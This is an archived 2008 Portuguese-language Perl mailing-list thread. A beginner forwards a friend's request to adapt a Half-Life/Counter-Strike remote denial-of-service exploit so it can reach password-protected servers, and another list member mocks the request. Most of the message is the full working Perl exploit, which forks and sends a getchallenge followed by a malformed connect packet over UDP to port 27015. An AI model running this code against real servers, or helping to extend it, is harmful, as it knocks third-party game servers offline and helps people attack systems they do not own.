[SP-pm] Ajuda simples
Daniel de Oliveira Mantovani
daniel.oliveira.mantovani em hotmail.com
Domingo Junho 8 14:19:24 PDT 2008
Por coisas como essa " Ow, que legal que ele precisa de ajuda para entrar no CS dos outros
hein. Já que ele é tão espertão, por que ele não descobre sozinho? "
que no brasil não tem quase hackers = )
Date: Sun, 8 Jun 2008 17:10:05 -0300
From: russoz em gmail.com
To: saopaulo-pm em mail.pm.org
Subject: Re: [SP-pm] Ajuda simples
Ow, que legal que ele precisa de ajuda para entrar no CS dos outros hein. Já que ele é tão espertão, por que ele não descobre sozinho?
2008/6/8 Daniel de Oliveira Mantovani <daniel.oliveira.mantovani em hotmail.com>:
Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",
gostaria que vocês pudessem ajudar
Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário
vou por aqui o que ele pois la;
Obrigado
"
Tenho um script de CS DOS em Perl e compilei ele para .exe.
Segue o código abaixo.
Estou tentando modificá-lo para que se conecte a servers com senha.
A sintaxe do atalho para o exe é a seguinte Código:C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta
Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é Código:password senha; connect ip:porta
Obrigado!
Código:#!/usr/bin/perl
# Server must not be running steam. /str0ke
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2
\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
} "
Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o Messenger! É GRÁTIS!
_______________________________________________
SaoPaulo-pm mailing list
SaoPaulo-pm em pm.org
http://mail.pm.org/mailman/listinfo/saopaulo-pm
--
Alexei Znamensky [russoz_gmail_com] [russoz.wordpress.com] [www.flickr.com/photos/alexeiz]
"Though we live in trying times, we're the ones who have to try"
_________________________________________________________________
Confira vídeos com notícias do NY Times, gols direto do Lance, videocassetadas e muito mais no MSN Video!
http://video.msn.com/?mkt=pt-br
-------------- Próxima Parte ----------
Um anexo em HTML foi limpo...
URL: http://mail.pm.org/pipermail/saopaulo-pm/attachments/20080608/e88d25bc/attachment.html
Mais detalhes sobre a lista de discussão SaoPaulo-pm